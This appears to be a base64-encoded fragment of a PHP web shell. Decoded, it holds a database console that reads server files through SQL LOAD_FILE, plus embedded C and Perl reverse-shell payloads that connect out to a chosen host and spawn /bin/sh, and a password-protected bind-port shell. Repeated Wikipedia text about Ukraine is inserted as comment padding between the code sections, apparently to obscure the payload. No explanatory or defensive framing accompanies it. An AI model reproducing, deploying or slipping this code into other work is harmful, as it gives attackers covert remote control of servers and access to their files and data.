kIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkJZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gIjxicj48dGV4dGFyZWEgbmFtZT0ncDMnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+Ii5AaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pLiI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwoJCQkJZWNobyAiPC90ZD48L3RyPiI7CgkJCX0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz48Zm9ybSBvbnN1Ym1pdD0nZG9jdW1lbnQuc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOwoJCQlpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsKCQkJCSRkYi0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkX1BPU1RbJ3AyJ10pLiInKSBhcyBmaWxlIik7CgkJCQkkZmlsZSA9ICRkYi0+ZmV0Y2goKTsKCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsKCQkJfQoJfQoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsKCXByaW50SGVhZGVyKCk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBJSHNOQ2lBZ0lDQnBiblFnWm1RN0RRb2dJQ0FnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUhOcGJqc05DaUFnSUNCa1lXVnRiMjRvTVN3d0tUc05DaUFnSUNCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nSUNBZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNOQ2lBZ0lDQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNOQ2lBZ0lDQnBaaUFvS0dOdmJtNWxZM1FvWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNBZ0lDQWdJSEJsY25KdmNpZ2lRMjl1Ym1WamRDQm1ZV2xzSWlrN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0FnSUgwTkNpQWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMyZ2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7CgkkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCSRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIG